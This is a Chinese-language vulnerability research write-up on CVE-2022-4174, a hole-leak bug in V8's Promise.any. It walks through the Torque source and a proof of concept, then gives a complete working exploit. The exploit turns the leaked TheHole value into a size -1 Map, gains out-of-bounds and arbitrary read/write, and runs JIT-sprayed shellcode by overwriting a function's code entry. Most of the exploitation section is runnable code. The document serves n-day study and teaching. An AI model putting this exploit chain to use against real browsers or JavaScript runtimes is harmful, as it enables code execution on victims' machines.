nday漏洞研究——CVE-2022-4174

CVE-2022-4174由@Kipreyyy发现,成果发布在Black Hat USA 2023上,本文主要参考了他们的slides文章,exp 部分参考了@sky123师傅的博客,有能力的读者请直接阅读原文

环境搭建

1
2
3
git checkout 9.7.106.19
gclient sync
tools/dev/gm.py x64.release

漏洞分析

Promise.any 方法

关于 JS 的 Promise 对象参考官方文档

关于 Promise.any 方法,有能力的读者可以阅读官方文档

Promise.any(itearble) 方法会迭代所有传入参数中的 Promise,将它们通过 then 函数组合成一个新的 Promise。当任意一个输入的 Promiseresolved 时,新 Promiseresolved ; 如果所有输入的 Promise 都被 rejected ,则新 Promise 会被 rejected ,且抛出的错误是一个 AggregateError 数组,每个元素对应一个被 rejected 的操作所抛出的 error

在 v8 中对 Promise.any() 的实现在 v8/src/builtins/promise-any.tq 里,如下

PromiseAny()

这个函数不是重点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
transitioning javascript builtin
PromiseAny(
js-implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
const nativeContext = LoadNativeContext(context);
const receiver = Cast<JSReceiver>(receiver)
otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, 'Promise.any');
const capability = NewPromiseCapability(receiver, False);
dcheck(Is<Constructor>(receiver));
const constructor = UnsafeCast<Constructor>(receiver);

try {
const promiseResolveFunction = GetPromiseResolve(nativeContext, constructor);
const iteratorRecord = iterator::GetIterator(iterable);
return PerformPromiseAny(
nativeContext, iteratorRecord, constructor, capability,
promiseResolveFunction)
otherwise Reject;
} catch (e) deferred {
goto Reject(e);
} label Reject(e: Object) deferred {
dcheck(e != TheHole);
Call(
context, UnsafeCast<Callable>(capability.reject), Undefined,
UnsafeCast<JSAny>(e));
return capability.promise;
}
}
  1. receiver 也就是 this 对象构建 PromiseCapability 对象
  2. Promise.resolve
  3. 调用 PerformPromiseAny()

PerformPromiseAny()

核心逻辑在该函数实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
transitioning macro PerformPromiseAny(implicit context: Context)(
nativeContext: NativeContext, iteratorRecord: iterator::IteratorRecord,
constructor: Constructor, resultCapability: PromiseCapability,
promiseResolveFunction: JSAny): JSAny labels
Reject(Object) {
const rejectElementContext =
CreatePromiseAnyRejectElementContext(resultCapability, nativeContext);

let index: Smi = 1;

try {
const fastIteratorResultMap = *NativeContextSlot(
nativeContext, ContextSlot::ITERATOR_RESULT_MAP_INDEX);
while (true) {
let nextValue: JSAny;
try {
const next: JSReceiver = iterator::IteratorStep(
iteratorRecord, fastIteratorResultMap) otherwise goto Done;
nextValue = iterator::IteratorValue(next, fastIteratorResultMap);
} catch (e) {
goto Reject(e);
}

if (index == kPropertyArrayHashFieldMax) {
ThrowRangeError(
MessageTemplate::kTooManyElementsInPromiseCombinator, 'any');
}

let nextPromise: JSAny;
nextPromise = CallResolve(constructor, promiseResolveFunction, nextValue);

const rejectElement = CreatePromiseAnyRejectElementFunction(
rejectElementContext, index, nativeContext);
const remainingElementsCount = *ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot);
*ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot) =
remainingElementsCount + 1;

let thenResult: JSAny;

const then = GetProperty(nextPromise, kThenString);
thenResult = Call(
context, then, nextPromise,
UnsafeCast<JSAny>(resultCapability.resolve), rejectElement);

index += 1;

if (IsDebugActive() && Is<JSPromise>(thenResult)) deferred {
SetPropertyStrict(
context, thenResult, kPromiseHandledBySymbol,
resultCapability.promise);
SetPropertyStrict(
context, rejectElement, kPromiseForwardingHandlerSymbol, True);
}
}
} catch (e) deferred {
iterator::IteratorCloseOnException(iteratorRecord);
goto Reject(e);
} label Done {}

const remainingElementsCount = -- *ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot);

if (remainingElementsCount == 0) deferred {
const errors: FixedArray = *ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementErrorsSlot);

const error = ConstructAggregateError(errors);
goto Reject(error);
}
return resultCapability.promise;
}

总结下来做了这些事情:

    1. 创建上下文 PromiseAnyRejectElementContext 并初始化:
    • kPromiseAnyRejectElementRemainingSlot = 1
    • kPromiseAnyRejectElementCapabilitySlot = resultCapability
    • kPromiseAnyRejectElementErrorsSlot = kEmptyFixedArray $~~~$该数组的元素类型为 TheHole ,之后的 AggregateError 在这里初始化0
    • kPromiseAnyRejectElementLengthSlot
    1. 迭代处理每个传入的 Promise
    • 先调用 Promise.resolve 处理 Promise
    • 构造一个 PromiseAnyRejectElementFunction 类型的函数 rejectElement 并把 kPromiseAnyRejectElementRemainingSlot 加 1
    • 调用 Promise.then ,如果 resolved 则调用 resultCapability.resolve ,如果 rejected 则调用 rejectElement

      这里的 resultCapability.resolvePromise.resolve 不同,和 PromiseAnyRejectElementFunction 类似都是个动态创建的闭包,具体可参考

    1. 迭代处理完成后,将 kPromiseAnyRejectElementRemainingSlot 减 1 后判定是否为 0 ,如果为 0 则说明 Promise 全部被 rejected ,构造 errors 数组 AggregateError , 调用 Promise.reject 方法返回结果 Promise 且抛出错误

PromiseAnyRejectElementClosure()

在迭代处理中的 Promiserejected 后会调用 rejectElement 函数,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
transitioning javascript builtin
PromiseAnyRejectElementClosure(
js-implicit context: Context, receiver: JSAny,
target: JSFunction)(value: JSAny): JSAny {

if (IsNativeContext(context)) deferred {
return Undefined;
}

dcheck(
context.length ==
SmiTag(
PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementLength));
const context = %RawDownCast<PromiseAnyRejectElementContext>(context);

const nativeContext = LoadNativeContext(context);
target.context = nativeContext;

dcheck(kPropertyArrayNoHashSentinel == 0);
const identityHash = LoadJSReceiverIdentityHash(target) otherwise unreachable;
dcheck(identityHash > 0);
const index = identityHash - 1;

let errors = *ContextSlot(
context,
PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementErrorsSlot);

let remainingElementsCount = *ContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot);

const newCapacity = IntPtrMax(SmiUntag(remainingElementsCount), index + 1);
if (newCapacity > errors.length_intptr) deferred {
errors = ExtractFixedArray(errors, 0, errors.length_intptr, newCapacity);
*ContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementErrorsSlot) = errors;
}
errors.objects[index] = value;

remainingElementsCount = remainingElementsCount - 1;
*ContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot) = remainingElementsCount;

if (remainingElementsCount == 0) {
const error = ConstructAggregateError(errors);
const capability = *ContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementCapabilitySlot);
Call(context, UnsafeCast<Callable>(capability.reject), Undefined, error);
}

return Undefined;
}

总结下来做了这些事情:

    1. indexPromiseindex 减 1 (因为后者是从 1 开始的)
    1. 计算 newCapacityremainingElementsCountindex + 1 二者的最大值
    1. 如果 newCapacity 大于原 errors 数组的大小,则扩充
    1. erros 数组 index 处赋值为对应 Promiseerror
    1. remainingElementsCount 减 1

漏洞成因

当所有 Promise 被 rejected 时, Promise.any 会抛出一个 error 数组 AggregateError 。那么 Promise.any 如何判断 Promise 是否全部被 rejected 呢?

PerformPromiseAny 中初始化上下文:

1
2
const rejectElementContext =
CreatePromiseAnyRejectElementContext(resultCapability, nativeContext);

其中将 kPromiseAnyRejectElementRemainingSlot 初始化为 1 ,以防止在迭代期间,第一个同步被 rejected 的输入 Promise 错误地导致之后的 Promise 被拒绝

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
transitioning macro CreatePromiseAnyRejectElementContext(
implicit context: Context)(
capability: PromiseCapability,
nativeContext: NativeContext): PromiseAnyRejectElementContext {
const rejectContext = %RawDownCast<PromiseAnyRejectElementContext>(
AllocateSyntheticFunctionContext(
nativeContext,
PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementLength));
InitContextSlot(
rejectContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot,
1);
InitContextSlot(
rejectContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementCapabilitySlot,
capability);
InitContextSlot(
rejectContext,
PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementErrorsSlot,
kEmptyFixedArray);
return rejectContext;
}

PerformPromiseAny 中调用 Promise.then 之前将 kPromiseAnyRejectElementRemainingSlot 加 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const remainingElementsCount = *ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot);
*ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot) =
remainingElementsCount + 1;

let thenResult: JSAny;

const then = GetProperty(nextPromise, kThenString);
thenResult = Call(
context, then, nextPromise,
UnsafeCast<JSAny>(resultCapability.resolve), rejectElement);

Promiserejected ,会调用 Promise.thenreject 回调 PromiseAnyRejectElementClosurekPromiseAnyRejectElementRemainingSlot 减 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let remainingElementsCount = *ContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot);

const newCapacity = IntPtrMax(SmiUntag(remainingElementsCount), index + 1);
if (newCapacity > errors.length_intptr) deferred {
errors = ExtractFixedArray(errors, 0, errors.length_intptr, newCapacity);
*ContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementErrorsSlot) = errors;
}
errors.objects[index] = value;

remainingElementsCount = remainingElementsCount - 1;

PerformPromiseAny 中结束迭代时 kPromiseAnyRejectElementRemainingSlot 回到 1 ,则说明 Promise 全部被 rejected ,抛出错误数组 AggregateError

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const remainingElementsCount = -- *ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot);

if (remainingElementsCount == 0) deferred {
const errors: FixedArray = *ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementErrorsSlot);

const error = ConstructAggregateError(errors);
goto Reject(error);
}

但是由于 kPromiseAnyRejectElementRemainingSlot 被初始化为 1 ,在 PromiseAnyRejectElementClosure 中计算 newCapacity 时使用的 remainingElementsCount 将比实际值大 1 ,于是在创建 errors 数组时会多出一个元素,该元素未初始化,为 TheHole 类型,并且可以泄露出来。

漏洞触发 PoC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// Proof of Concept
var log = console.log;

class CraftPromise {
static resolve(val) {
log("3. craft_promise.resolve is called");
return val;
}
static reject(err) {
log("5. final reject handler is called, args AggregateError", err);
%DebugPrint(err.errors[1]);
}
constructor(PromiseGetCapabilitiesExecutor) {
log("2. craft_promise is called before calling PromiseGetCapabilitiesExecutor");
PromiseGetCapabilitiesExecutor(CraftPromise.resolve, CraftPromise.reject);
}
}

let input_promise = {
then(resolve, PromiseAnyRejectElementClosure) {
log("4. input_promise then");
PromiseAnyRejectElementClosure();
}
}

log("======================== OUTPUT ========================");
log("1. before Promise.any");
Promise.any.call(CraftPromise, [input_promise]);
/* 输出:
======================== OUTPUT ========================
1. before Promise.any
2. craft_promise is called before calling PromiseGetCapabilitiesExecutor
3. craft_promise.resolve is called
4. input_promise then
5. final reject handler is called, args AggregateError AggregateError: All promises were rejected
DebugPrint: 0x17d00800242d: [Oddball] in ReadOnlySpace: #hole
0x17d008002405: [Map] in ReadOnlySpace
- type: ODDBALL_TYPE
- instance size: 28
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x17d0080023b5 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x17d0080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x17d008002235 <null>
- constructor: 0x17d008002235 <null>
- dependent code: 0x17d0080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
*/

漏洞利用

构造 -1 长度的 JSMap 到越界读写

当用户从 JSMap 中删除一个元素时,相应的槽会被填充为 TheHole 值,同时更新相关计数器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
...
TryLookupOrderedHashTableIndex<OrderedHashMap>(
table, key, &entry_start_position_or_hash, &entry_found, &not_found);
...
BIND(&entry_found);
// <----- 1. 查找元素,将要删除的元素标记为 TheHole 值
StoreFixedArrayElement(
table, entry_start_position_or_hash.value(), TheHoleConstant(),
UPDATE_WRITE_BARRIER,
kTaggedSize * OrderedHashMap::HashTableStartIndex());
StoreFixedArrayElement(
table, entry_start_position_or_hash.value(), TheHoleConstant(),
UPDATE_WRITE_BARRIER,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kValueOffset));

// <----- 2. 元素数量 - 1,删除的元素数量 + 1。
const TNode<Smi> number_of_elements = SmiSub(
CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);

const TNode<Smi> number_of_deleted = SmiAdd(
CAST(LoadObjectField(
table, OrderedHashMap::NumberOfDeletedElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfDeletedElementsOffset(), number_of_deleted);

const TNode<Smi> number_of_buckets = CAST(
LoadFixedArrayElement(table, OrderedHashMap::NumberOfBucketsIndex()));

// <------------ 3. 如果元素数量少于 bucket 数量的一半,调用 shrink 将 elements 中的 TheHole 清除
Label shrink(this);
GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
number_of_buckets),
&shrink);
Return(TrueConstant());
BIND(&shrink);
CallRuntime(Runtime::kMapShrink, context, receiver);
}

由于我们通过之前描述的漏洞获得了 TheHole 的值,首先将 TheHole 添加到 JSMap 中,然后调用 map.delete 方法。由于其键已被设置为 TheHole ,对应的条目并未被实际删除,但 number_of_elements 减少了 1。这使得我们可以多次删除 TheHole,直到 number_of_elements 下溢为 -1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function triggerHole() {
let v1;
function f0(v4) {
v4(() => { }, v5 => { v1 = v5.errors; });
}
f0.resolve = (v6) => { return v6; };
let v3 = {
then(v7, v8) {
v8();
}
};
Promise.any.call(f0, [v3]);
return v1[1];
}
var map = new Map();
let hole = triggerHole(); // 获取 TheHole 的值
map.set(1, 1); // 插入普通键值对 (1, 1)
map.set(hole, 1); // 插入以 TheHole 作为键的条目
map.delete(hole); // 第一次删除 TheHole 键
map.delete(hole); // 第二次删除 TheHole 键,number_of_elements 再次减少
map.delete(1); // 删除普通键值对 (1, 1)
console.log(map.size); // 输出 Map 的大小,结果为 -1

OrderedHashMap 的部分内存视图如下:

Map 结构的所有 property 以及 bucketselement 值位于同一片连续内存中,并且 Map 元素 element 表示为: (key, value, next idx)bucket[n] 存放 hash 值为 n 的一个 element 元素在 elements 数组的下标,具有相同 hash 值的 element 通过 next idx 组织成链表,gdb 中的内存视图如下:

当触发漏洞构造了一个长度为 -1 的 Map 后,其内存视图如下:

此时数据结构为:

  • number_of_elements: -1
  • number_of_deleted: 0
  • number_of_buckets: 2
  • 其中两个 buckets 为 -1,elements 全部为 #undefined

occupancy = element_count + deleted_count 表示已经被使用的条目长度。当调用 map.set 函数向 Map 写入数据时,存储新元素的实际写入地址由以下公式确定:
elements_base_addr + occupancy * entrySize

由于 occupancy 等于 -1,因此写入的数据可以覆盖 bucket_count。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler) { 
...

BIND(&add_entry);
TVARIABLE(IntPtrT, number_of_buckets);
TVARIABLE(IntPtrT, occupancy);
TVARIABLE(OrderedHashMap, table_var, table);
{
// 检查是否有足够空间存储该条目。
number_of_buckets = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
table, OrderedHashMap::NumberOfBucketsIndex())));

STATIC_ASSERT(OrderedHashMap::kLoadFactor == 2);
const TNode<WordT> capacity = WordShl(number_of_buckets.value(), 1);
const TNode<IntPtrT> number_of_elements = SmiUntag(
CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())));
const TNode<IntPtrT> number_of_deleted = SmiUntag(CAST(LoadObjectField(
table, OrderedHashMap::NumberOfDeletedElementsOffset())));
// <------- 计算下一个元素条目的存储位置,该值将为 -1。
occupancy = IntPtrAdd(number_of_elements, number_of_deleted);
GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry);

// 没有足够空间,扩展表格并重新加载相关字段。
// <------ 这里是不可达代码,因为 occupancy(-1) < 2 * bucket_cnt。
CallRuntime(Runtime::kMapGrow, context, receiver);
...
Goto(&store_new_entry);
}
BIND(&store_new_entry);
// 存储 key 和 value,并将该元素连接到 bucket 链表。
// <----- 存储值。当前 occupancy == -1。
StoreOrderedHashMapNewEntry(table_var.value(), key, value,
entry_start_position_or_hash.value(),
number_of_buckets.value(), occupancy.value());
Return(receiver);
}

由于 elements_base_addr 的地址的计算方式是 bucket_base_addr + 4 * bucket_count ,我们可以将 bucket_count 修改为更大的值,然后再次调用 map.set,从而导致向 Map 结构后面的内存区域进行越界写入数据。如果 Map 结构后面存在一个 JSArray 结构,我们可以利用 Map 的越界写能力来修改 JSArray 的长度,从而获得更强大的越界读写能力。

越界读写到任意地址读写

有了一个能越界的 JSArray ,布置以下布局:

先越界读出 object_array_mapdouble_array_map
通过类型混淆,构造 offset_of 原语:

1
2
3
4
5
6
function offset_of(obj) {
oob_array[2] = u2d(object_array_map);
object_array[0] = obj;
oob_array[2] = u2d(double_array_map << 32n);
return d2u(object_array[0]) & 0xFFFFFFFFn;
}

通过越界写 rw_array->Elements&target - 8 构造任意地址读和写原语:

1
2
3
4
5
6
7
8
function read(offset) {
oob_array[22] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[22]) & 0xFFFFFFFF00000000n));
return d2u(rw_array[0]);
}
function write(offset, value) {
oob_array[22] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[22]) & 0xFFFFFFFF00000000n));
rw_array[0] = u2d(value);
}

立即数写 shellcode 绕过沙箱

当这样一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}

for (let i = 0; i < 0x40000; i++) {
shellcode();
}

被 JIT 优化后长这样:

其在 rwx 段内存中会写下立即数
将 shellcode 写成 jop gadget 链的形式,再以立即数写入内存:
imm: inst ; jmp to next imm
改写 code_entry 到 gadget 链的入口,调用 shellcode() 后即执行我们的 shellcode

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}

function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}

function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}

function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}

for (let i = 0; i < 0x40000; i++) {
shellcode();
}

function trigger() {
let v1;
function f0(v4) {
v4(() => { }, v5 => { v1 = v5.errors; });
}
f0.resolve = (v6) => { return v6; };
let v3 = {
then(v7, v8) {
v8();
}
};
Promise.any.call(f0, [v3]);
return v1[1];
}

let hole = trigger();
console.log(hole);

var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1
map.set(0x16, -1);
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
map.set(0x303, 0);

var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[14]);

console.log("[*] object array map: " + hex(object_array_map >> 32n));
console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFn));

function offset_of(obj) {
oob_array[2] = u2d(object_array_map);
object_array[0] = obj;
oob_array[2] = u2d(double_array_map << 32n);
return d2u(object_array[0]) & 0xFFFFFFFFn;
}

function read(offset) {
oob_array[22] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[22]) & 0xFFFFFFFF00000000n));
return d2u(rw_array[0]);
}

function write(offset, value) {
oob_array[22] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[22]) & 0xFFFFFFFF00000000n));
rw_array[0] = u2d(value);
}

var code_offset = read(offset_of(shellcode) + 0x18n) & 0xFFFFFFFFn;
console.log("[*] code offset: " + hex(code_offset));

code_offset += 0x68n;
write(offset_of(shellcode) + 0x18n, code_offset);

shellcode();

References